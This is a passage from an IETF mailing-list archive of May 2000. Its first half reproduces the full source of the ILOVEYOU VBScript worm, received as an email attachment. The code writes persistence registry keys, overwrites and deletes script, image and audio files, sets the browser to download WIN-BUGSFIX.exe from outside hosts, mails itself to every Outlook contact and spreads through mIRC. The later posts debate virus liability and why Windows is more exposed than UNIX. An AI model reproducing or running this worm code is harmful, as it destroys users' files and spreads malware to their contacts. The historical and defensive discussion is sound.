"<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=3D1"&vbcrlf& _
"code=3D"
dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
"code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set =
wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=3D424) then"&vbcrlf& _
"aw=3D0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=3D1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=3DCreateObject("Scripting.FileSystemObject")
set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
lines=3DSplit(c.ReadAll,vbcrlf)
l1=3Dubound(lines)
for n=3D0 to ubound(lines)
lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=3Dn) then
lines(n)=3Dchr(34)+lines(n)+chr(34)
else
lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
------_=_NextPart_000_01BFB7EA.29D9DDFC--



From owner-ietf-outbound  Sun May  7 03:22:49 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA10697
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 02:22:12 -0400 (EDT)
Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08706
	for <ietf@ietf.org>; Sun, 7 May 2000 02:07:11 -0400 (EDT)
Received: from ismailout.icomverse.com (Efrat-FR3.ser.netvision.net.il [199.203.174.65])
	by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id JAA16869
	for <ietf@ietf.org>; Sun, 7 May 2000 09:06:18 +0300 (IDT)
Received: from ismail1.icomverse.com (ismail1.icomverse.com [190.190.110.2])
	by ismailout.icomverse.com (8.10.1/8.10.1) with ESMTP id e4773gH21222
	for <ietf@ietf.org>; Sun, 7 May 2000 10:03:42 +0300
Received: by ismail1.icomverse.com with Internet Mail Service (5.5.2650.21)
	id <KJ1C1BD9>; Sun, 7 May 2000 09:04:55 +0300
Message-ID: <CE835E918749D21191B10060084C377E01E15ECF@ismail1.icomverse.com>
From: "Gazal, Elly" <Elly_Gazal@icomverse.com>
To: IETF <ietf@ietf.org>
Subject: ILOVEYOU
Date: Sun, 7 May 2000 09:04:39 +0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01BFB7EA.29D9DDFC"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01BFB7EA.29D9DDFC
Content-Type: text/plain


kindly check the attached LOVELETTER coming from me.


------_=_NextPart_000_01BFB7EA.29D9DDFC
Content-Type: application/octet-stream;
	name="LOVE-LETTER-FOR-YOU.TXT.vbs"
Content-Disposition: attachment;
	filename="LOVE-LETTER-FOR-YOU.TXT.vbs"
Content-Transfer-Encoding: quoted-printable

rem  barok -loveletter(vbe) <i hate go to school>
rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  =
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=3D""
ctr=3D0
Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern=
el32",dirsystem&"\MSKernel32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
s\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
downread=3D"c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
Randomize
num =3D Int((4 * Rnd) + 1)
if num =3D 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm=
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num =3D 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw=
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num =3D 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd=
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num =3D 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD=
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN=
-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU=
GSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives
For Each d in dc
If d.DriveType =3D 2 or d.DriveType=3D3 Then
folderlist(d.path&"\")
end if
Next
listadriv =3D s
end sub
sub infectfiles(folderspec) =20
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files
for each f1 in fc
ext=3Dfso.GetExtensionName(f1.path)
ext=3Dlcase(ext)
s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") =
or (ext=3D"sct") or (ext=3D"hta") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=3Dfso.GetBaseName(f1.path)
set cop=3Dfso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"jpg") or (ext=3D"jpeg") then
set ap=3Dfso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=3Dfso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext=3D"mp3") or (ext=3D"mp2") then
set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=3Dfso.GetFile(f1.path)
att.attributes=3Datt.attributes+2
end if
if (eq<>folderspec) then
if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or =
(s=3D"script.ini") or (s=3D"mirc.hlp") then
set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will =
corrupt, if mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not =
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=3Don 1:JOIN:#:{"
scriptini.WriteLine "n1=3D  /if ( $nick =3D=3D $me ) { halt }"
scriptini.WriteLine "n2=3D  /.dcc send $nick =
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=3D}"
scriptini.close
eq=3Dfolderspec
end if
end if
next =20
end sub
sub folderlist(folderspec) =20
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec) =20
set sf =3D f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next =20
end sub
sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg =3D 0
else
msg =3D 1
end if
fileexist =3D msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")
for ctrlists=3D1 to mapi.AddressLists.Count
set a=3Dmapi.AddressLists(ctrlists)
x=3D1
regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv=3D"") then
regv=3D1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=3D1 to a.AddressEntries.Count
malead=3Da.AddressEntries(x)
regad=3D""
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male=
ad)
if (regad=3D"") then
set male=3Dout.CreateItem(0)
male.Recipients.Add(malead)
male.Subject =3D "ILOVEYOU"
male.Body =3D vbcrlf&"kindly check the attached LOVELETTER coming from =
me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=3Dx+1
next
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite =
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=3DNothing
Set mapi=3DNothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META =
NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& =
_
"<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? =
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& =
_
"<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is =
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY =
ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to =
read this HTML file<BR>- Please press #-#YES#-# button to Enable =
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ =
BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR=
QUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=3Dscreen.availWidth;var =
hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
rlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=3D1"&vbcrlf& _
"code=3D"
dta2=3D"set =
fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
"code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set =
wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=3D424) then"&vbcrlf& _
"aw=3D0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=3D1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite =
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=3DCreateObject("Scripting.FileSystemObject")
set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
lines=3DSplit(c.ReadAll,vbcrlf)
l1=3Dubound(lines)
for n=3D0 to ubound(lines)
lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=3Dn) then
lines(n)=3Dchr(34)+lines(n)+chr(34)
else
lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
------_=_NextPart_000_01BFB7EA.29D9DDFC--



From owner-ietf-outbound  Sun May  7 06:10:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA06691
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 06:10:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA06649
	for <ietf@ietf.org>; Sun, 7 May 2000 06:05:19 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id MAA08604 for <ietf@ietf.org>;
	Sun, 7 May 2000 12:05:19 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210100b53aef547bba@[130.237.150.138]>
In-Reply-To: <200005050039.UAA08387@astro.cs.utk.edu>
References: <200005050039.UAA08387@astro.cs.utk.edu>
Date: Sun, 7 May 2000 12:06:36 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: VIRUS WARNING
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 20.39 -0400 0-05-04, Keith Moore wrote:
> but sooner or later folks are going to be held liable for poor engineering
> or poor implementation of networking software, just like folks today can be
> held liable for poor engineering or implementation of bridges or buildings.

This discussion is highly relevant to the IETF list, if we
discuss the problems and how to overcome them, and avoid
the never-ending platform war discussions.

At the IETF meeting in December 1999, the issue was
discussed whether IETF should support changes in protocols
which would make it easier to find villains committing
crime on the net. This was discussed in a large plenary
meeting, with about a thousand people present. A very large
majority, something like 95 or 98 percent of those present,
voted against this. I was one of the few who voted yes.

All of you who voted against designing Internet protocols
so as to help police finding the villain of criminal
net-behavour: Have you not changed your mind? Should we not
try to find and prosecute the people distributing viruses?
Should we not redesign the Internet, so that this becomes
easier, for example by doing more logging in the routers,
so that you can go back and check from where something
illegal came. Or do you mean that this is impossible,
because the villains will just get more clever and learn to
cheat such procedures?

-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Sun May  7 08:13:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA07643
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 08:13:08 -0400 (EDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07483
	for <ietf@ietf.org>; Sun, 7 May 2000 08:01:47 -0400 (EDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Sat, 6 May 2000 15:30:20 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2650.21) id <K1899PH8>;
          Sat, 6 May 2000 15:30:19 +0100
Message-ID: <95F43C4FA359D311A8830008C791861ED5CEA7@zvb1c002.corpemea.baynetworks.com>
From: "Gian-Pietro Saggioro" <gsaggior@nortelnetworks.com>
To: "'Keith Moore'" <moore@cs.utk.edu>
Cc: ietf@ietf.org
Subject: RE: viruses on UNIX vs. Windows
Date: Sat, 6 May 2000 15:30:13 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFB767.9A280CF6"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFB767.9A280CF6
Content-Type: text/plain;
	charset="iso-8859-1"

Keith (& all),

Very interesting considerations, I subscribe your point of view. You can
imagine when MS will be splitted (may be not in the near future, let's say
within 3/4 years), the new company, let's call it "GateSoft", will release
"GateSoft Office 2003 for 
L-I-U-nix (Linux + Unix HP and Solaris)". 
The Visual Basic engine will be available also in the "protected" and
"perfect" world. How many time you installed software on a Linux/Unix
machine and instead of getting the very famous error messages, the
application was simply not working ... 
core dumped !
( I just got another example two days ago!!! Don't ask me witch is the
program ! I have the answer!!)
Everybody knows the difference in terms of pricing between Win-based system
and Unix environment, I mean globally Hardware and Software.
Linux is, in this aspect, not involved; it is just the lack of Software
limiting the diffusion; talking about the Hardware there requirements are
quite convenient.

The alternative will appear not the ideal solution when it will use the MOST
COMMON SOFTWARE SOLUTION diffused on this planet: this is the "cruel"
reality.

I have a question you all: 
Is the JAVA environment ideal for creating worms and horses ? 
Are there any security holes ? 
If the programmer build a nice windows asking the user if they would like to
continue or not, is it possible to manipulate files on the Computer or
attach into the System scripts/registry malicious lines ?

If the answer are all YES, Java is the ideal tool for creating viruses for
the Linux/Unix world. The complexity, in terms of programming, of Java is
not really far from the VB Scripting. The last one is the method used by
millions of PC users in the 
Internet Community.

\GianPietro

-----Original Message-----
From: Keith Moore [mailto:moore@cs.utk.edu]
Sent: Saturday, May 06, 2000 12:00 AM
To: Randall Stewart
Cc: Michael H. Warfield; Valdis.Kletnieks@VT.EDU; Scot Mc Pherson;
ietf@ietf.org
Subject: viruses on UNIX vs. Windows 


it might be useful to further examine the differences between UNIX-like
systems (including Linux) and Windows systems regarding their 
susceptibility to viruses.  

1. it should first be noted that UNIX-like systems are not immune to 
worms or viruses.  the Morris worm propagated itself via buffer
overflow bugs in sendmail and finger, and similar vulnerabilities are
probably still available to a would-be attacker.  over the years many 
more security holes like these have been found in UNIX systems and 
exploited.  we'll keep seeing such holes as long as people write 
servers in C.  but for some reason such attacks tend not to be viruses,
we just haven't seen many worms/viruses use these techniques since the 
Morris worm.

2. the Morris worm worked with both vax and sun3 platforms presumably
because these were the most  popular platforms then in use on the 
Internet.  today most viruses target Windows boxes presumably because
they are so popular.

3. the attacks that have been successful against UNIX tend to be specific 
to a particular platform - its CPU instruction set, memory layout,
system traps, and library routines.  Windows boxes are also vulnerable 
to hardware-specific attacks, but they also support things like vbscript.  
so there are multiple languages by which one can attack a windows box, 
and many of those are commonly bundled with Windows.  so in addition
to windows being more popular, in some ways you it has a more 
predictable target environment (i.e. a given windows box is likely to
have more facilities you can exploit than a UNIX box) this makes Windows 
a more predictable platform for software developers, but virus writers 
are software developers too.

4. email-borne viruses have somewhat greater ability to penetrate 
private networks because email tends to not be filtered by firewalls
(and even firewalls that scan for viruses generally are limited to
scanning for known viruses)

UNIX-based email clients are less vulnerable than their Windows
counterparts because

a) UNIX-like systems do not come with an extensive registry of content-type 
   -to- program mappings.  nor, in general, do mail readers for these 
   platforms.  so if a mail reader receives an object with an unusual 
   content-type it is unlikely to know what to do with it (other than 
   to offer to save it to a file)

b) UNIX based mail readers tend to rely on the MIME content-type
   label and are less likely than Windows readers to "guess" how to
   handle a file based on the file name suffix.   MIME content-type
   registrations are required to contain a security considerations 
   section.  it may be that as a result, the content-type registry 
   on a UNIX system is less likely to contain definitions for 
   dangerous objects, than on a windows system...and therefore
   UNIX mail readers are less likely to try to interpret such things.

c) UNIX systems have fewer interpreters for content-types that
   can cause harmful side-effects, and such as do exist (such
   as PostScript) are more likely to be invoked in a "safe" mode.  

   script attacks are certainly possible on UNIX - most UNIX systems
   support script languages with destructive power similar to vbscript.
   but it is very unlikely that a UNIX mail reader would be configured
   to, say, automatically execute a perl script received in mail.

d) UNIX has not traditionally had a point-and-click interface,
   so the notion that there is some action implicitly associated
   with a file type, so common in the Windows and Mac worlds,
   does not hold for UNIX.  Indeed, UNIX has much the opposite
   notion - that arbitrary tools can be applied to arbitrary files.

5. unlike many Windows-ish boxes, UNIX is a multi user operating
   system with file protections.  thus there is a layer of isolation 
   between user processes and the operating system, which limits the 
   degree of damage that is likely to happen.  to be sure, a lot of 
   harm can be done by trashing or altering a single user's files, 
   and there may are often security holes which can be exploited 
   to elevate an ordinary user's privileges.  but this is still an 
   additional barrier that must be overcome.  Windows is an easier
   target.

6. there is a great deal more history with security exploits,
   and thus with countermeasures, on UNIX-like systems.

   there seems to be greater awareness of the potential for harm
   among the UNIX community than among Windows developers.
   this may be because UNIX is primarily used by computer experts.

conclusion:

to some degree Windows is inherently more vulnerable because it
is a more popular platform.  however it should be possible to make 
Windows much less vulnerable than it currently is merely by a few 
countermeasures.

- don't automatically evaluate content unless it is KNOWN to be safe
  from harmful side-effects.  either that or evaluate the content
  only within a sandbox which prevents such harm.  (this means
  that you limit the content that you're willing to automatically
  evaluate to a few well-understood types)

- don't offer to execute content that can cause harm unless 
  (a) the recipient okays it, (b) the sender's identity is
   known and the integrity of the file can be assured
  (via verifiable digital signatures), and (c) the recipient
  is warned *each time* that the content can cause harm.


Keith

------_=_NextPart_001_01BFB767.9A280CF6
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: viruses on UNIX vs. Windows </TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Keith (&amp; all),</FONT>
</P>

<P><FONT SIZE=3D2>Very interesting considerations, I subscribe your =
point of view. You can imagine when MS will be splitted (may be not in =
the near future, let's say within 3/4 years), the new company, let's =
call it &quot;GateSoft&quot;, will release &quot;GateSoft Office 2003 =
for </FONT></P>

<P><FONT SIZE=3D2>L-I-U-nix (Linux + Unix HP and Solaris)&quot;. =
</FONT>
<BR><FONT SIZE=3D2>The Visual Basic engine will be available also in =
the &quot;protected&quot; and &quot;perfect&quot; world. How many time =
you installed software on a Linux/Unix machine and instead of getting =
the very famous error messages, the application was simply not working =
... </FONT></P>

<P><FONT SIZE=3D2>core dumped !</FONT>
<BR><FONT SIZE=3D2>( I just got another example two days ago!!! Don't =
ask me witch is the program ! I have the answer!!)</FONT>
<BR><FONT SIZE=3D2>Everybody knows the difference in terms of pricing =
between Win-based system and Unix environment, I mean globally Hardware =
and Software.</FONT></P>

<P><FONT SIZE=3D2>Linux is, in this aspect, not involved; it is just =
the lack of Software limiting the diffusion; talking about the Hardware =
there requirements are quite convenient.</FONT></P>

<P><FONT SIZE=3D2>The alternative will appear not the ideal solution =
when it will use the MOST COMMON SOFTWARE SOLUTION diffused on this =
planet: this is the &quot;cruel&quot; reality.</FONT></P>

<P><FONT SIZE=3D2>I have a question you all: </FONT>
<BR><FONT SIZE=3D2>Is the JAVA environment ideal for creating worms and =
horses ? </FONT>
<BR><FONT SIZE=3D2>Are there any security holes ? </FONT>
<BR><FONT SIZE=3D2>If the programmer build a nice windows asking the =
user if they would like to continue or not, is it possible to =
manipulate files on the Computer or attach into the System =
scripts/registry malicious lines ?</FONT></P>

<P><FONT SIZE=3D2>If the answer are all YES, Java is the ideal tool for =
creating viruses for the Linux/Unix world. The complexity, in terms of =
programming, of Java is not really far from the VB Scripting. The last =
one is the method used by millions of PC users in the </FONT></P>

<P><FONT SIZE=3D2>Internet Community.</FONT>
</P>

<P><FONT SIZE=3D2>\GianPietro</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Keith Moore [<A =
HREF=3D"mailto:moore@cs.utk.edu">mailto:moore@cs.utk.edu</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Saturday, May 06, 2000 12:00 AM</FONT>
<BR><FONT SIZE=3D2>To: Randall Stewart</FONT>
